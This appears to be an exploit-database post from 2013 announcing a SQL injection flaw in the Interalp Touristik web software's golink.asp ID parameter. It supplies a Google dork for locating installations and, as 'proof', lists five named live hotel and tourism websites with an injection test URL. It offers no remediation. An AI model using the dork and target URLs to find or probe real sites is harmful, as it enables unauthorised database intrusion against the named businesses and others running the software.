Interalp Touristik SQL Injection

2013.09.10

Credit: Ashiyane Digital Security Team

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

Dork: intext:\"powered by Interalp Touristik\"

#********************************************************************************
# Exploit Title : Interalp Touristik Sql injection Vulnerabilites
#
# Exploit Author : Ashiyane Digital Security Team
#
# Software Link : http://interalp-touristik.com
#
# Tested on: Windows 7 , Linux
#
# Google Dork : intext:"powered by Interalp Touristik"
#
# Date: 2013/09/10
#
--------------------------------------------------------------------
# Exploit : Sql Injection
#
# Location : [Target]/de/golink.asp?DB=Contentanhang&ID=[Sql Injection]
#
#
# Proof:
#
# http://www.der-adler.at/de/golink.asp?DB=Contentanhang&ID=1'
#
# http://www.holzgau-wel.com/de/golink.asp?DB=Contentanhang&ID=1'
#
# http://www.lifebox.at/de/golink.asp?DB=Contentanhang&ID=1'
#
# http://www.machurlaub.at/de/golink.asp?DB=Contentanhang&ID=1'
#
# http://www.hotel-regina.it/de/golink.asp?DB=Contentanhang&ID=1'
--------------------------------------------------------------------
######################
discovered by : ACC3SS
######################

References:

http://interalp-touristik.com

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Interalp Touristik SQL Injection

Dork: intext:\"powered by Interalp Touristik\"

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.